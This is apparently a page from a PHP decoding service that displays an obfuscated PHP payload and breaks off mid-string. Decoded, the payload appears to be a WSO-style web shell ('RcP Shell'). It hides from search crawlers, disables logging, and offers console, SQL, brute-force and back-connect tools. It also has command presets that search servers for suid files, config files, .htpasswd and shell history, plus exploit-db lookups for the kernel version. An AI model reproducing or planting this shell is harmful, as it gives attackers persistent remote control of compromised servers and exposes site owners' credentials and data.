Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIEJ5IFJjUCBTaDVsbA0KDQokYzJsMnIgPSAiI2VlRkZGRiI7DQokZD..
Decoded Output download
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIEJ5IFJjUCBTaDVsbA0KDQokYzJsMnIgPSAiI2VlRkZGRiI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdVVEYtOCc7DQoNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdTSEVMTF9WRVJTSVlPTicsICdWMC42Jyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCiAgICBmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQogICAgICAgIHI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQogICAgfQ0KICAgICRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCiAgICBkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQogICAgNGYoIDVtcHR5KCQxM3RoX3Axc3MpIHx8ICggNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpICkgKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQogICAgJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCiAgICAkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkR0xPQkFMU1snZDVmMTNsdF8zczVfMWoxeCddOw0KICAgIA0KNGYoJDJzID09ICd3NG4nKQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgICAgICAiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAgICAgIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAgICAgIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgICAgICJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQogICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KNWxzNQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgIkQ0ejRubDVyNCBMNHN0NWw1IiA9PiAibHMgLWxoMSIsDQogICAgICAgICJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAgICAgICAgICJBYzRrIFAycnRsMXI0IEw0c3Q1bDUiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgIkMxbDRzMW4gUHIyZ3IxbWwxciIgPT4gInBzIDEzeCIsDQogICAgICAgICJCVUwhIiA9PiAiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgIkFSQSIgPT4gIiIsDQogICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCiAgICAgICAgImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KICAgICAgICAibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCiAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KICAgICAgICAibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQogICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQogICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCiAgICAgICAgImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiICAgIA0KICAgICk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCiAgICA0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQogICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KICAgIGdsMmIxbCAkYzJsMnI7DQogICAgNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gd3d3LmcyMmdsNS5jMm0udHIgU0hFTEwgIiAuIFNIRUxMX1ZFUlNJWU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojdXV1O2MybDJyOiM1NjU2NTY7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojNTY1NjU2OyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2FhYTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6I2FhYTttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDphaTBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNX0NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQogICAgZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIDRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQogICAgICAgIDRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCiAgICAgICAgNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQogICAgICAgIDRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQogICAgfQ0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCiAgICAgICAgZC5tZi5zM2JtNHQoKTsNCiAgICB9DQogICAgZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQogICAgICAgIGYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICBwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCiAgICB9DQogICAgZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsgICAgDQogICAgICAgIDRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCiAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQogICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCiAgICB9DQogICAgZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCiAgICAgICAgNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KICAgICAgICAgICAgICAgIHYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCiAgICAgICAgICAgICAgICB2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCiAgICAgICAgICAgIH0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCiAgICB9DQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCiAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQogICAgJDV4cGw0bmsgPSAnaHR0cDovL3d3dy41eHBsMjR0LWRiLmMybS9zNTFyY2gvPzFjdDQybj1zNTFyY2gmZjRsdDVyX3AxZzU9NiZmNGx0NXJfZDVzY3I0cHQ0Mm49JzsNCiAgICA0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KICAgICAgICAkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KICAgIDVsczUNCiAgICAgICAgJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOw0KICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICRncjIzcCA9ICI/IjsNCiAgICB9IDVsczUgew0KICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQogICAgICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107DQogICAgICAgICQzNGQgPSAkMzRkWyczNGQnXTsNCiAgICAgICAgJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107DQogICAgfQ0KDQogICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49YzIzbnQoJHAxdGgpOw0KICAgIGYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQogICAgICAgICRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCiAgICAgICAgICAgICRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KICAgIH0NCg0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICQycHRfY2gxcnM1dHMgPSAnJzsNCiAgICBmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQogICAgJG0gPSAxcnIxeSgnRzN2NW5sNGsgQjRsZzRzNCc9PidTNWNJbmYyJywnRDJzeTFsMXInPT4nRjRsNXNNMW4nLCdLMm5zMmwnPT4nQzJuczJsNScsJ1NRTCc9PidTcWwnLCdQSFAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnRDJuM3N0M3InPT4nU3RyNG5nVDIybHMnLCdCUlVURUZPUkNFJz0+J0JyM3Q1ZjJyYzUnLCdCMWNrQzJubjVjdCc9PidONXR3MnJrJyk7DQogICAgNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQogICAgICAgICRtWydMMmcyM3QnXSA9ICcmIzYwdW87PzRrJzsNCiAgICAkbVsnUzRsJ10gPSAnUzVsZlI1bTJ2NSc7DQogICAgJG01bjMgPSAnJzsNCiAgICBmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KICAgICAgICAkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KDQogICAgJGRyNHY1cyA9ICIiOw0KICAgIDRmKCRHTE9CQUxTWycycyddID09ICd3NG4nKSB7DQogICAgICAgIGYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiAgICAgICAgICAgICRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCiAgICB9DQogICAgNWNoMicgPGg2PjxjNW50NXI+PGYybnQgYzJsMnI9cjVkPjxzdHIybmc+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvZjJudD48L3N0cjJuZz48L2M1bnQ1cj48L2g2Pic7DQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxi